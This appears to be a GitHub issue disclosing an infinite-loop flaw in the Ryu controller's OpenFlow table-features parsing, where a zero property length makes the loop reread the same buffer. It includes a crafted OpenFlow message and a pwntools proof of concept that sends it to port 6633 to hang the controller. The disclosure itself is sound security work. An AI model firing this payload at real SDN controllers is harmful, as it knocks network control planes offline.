Open ErodedElk opened 7 months ago
in /ryu/ofproto/ofproto_v1_3_parser.py about line=5269
while rest: p, rest = OFPTableFeatureProp.parse(rest) props.append(p) table_features.properties = props
The rest variable here is obtained through the following code:
(type_, length) = struct.unpack_from(cls._PACK_STR, buf, 0) rest = buf[utils.round_up(length, 8):]
If the length variable is tampered with to 0, rest will get the original buffer, causing the controller to fall into an infinite loop.
payload:
payload="\x04\x13\x00\x58\x00\x00\x00\x00\x00\x0c\x00\x01\x00\x00\x00\x0000\x48\x01\x00\x00\x00\x00\x00\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00"
poc:
from pwn import * p=remote("0.0.0.0",6633) payload="\x04\x13\x00\x58\x00\x00\x00\x00\x00\x0c\x00\x01\x00\x00\x00\x0000\x48\x01\x00\x00\x00\x00\x00\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00" p.send(payload) p.interactive()
This problem also occurs with the following code: /ryu/ofproto/ofproto_v1_3_parser.py about line=5269 /ryu/ofproto/ofproto_v1_4_parser.py about line=1789 /ryu/ofproto/ofproto_v1_5_parser.py about line=2029
in /ryu/ofproto/ofproto_v1_3_parser.py about line=5269
The rest variable here is obtained through the following code:
If the length variable is tampered with to 0, rest will get the original buffer, causing the controller to fall into an infinite loop.
payload:
poc: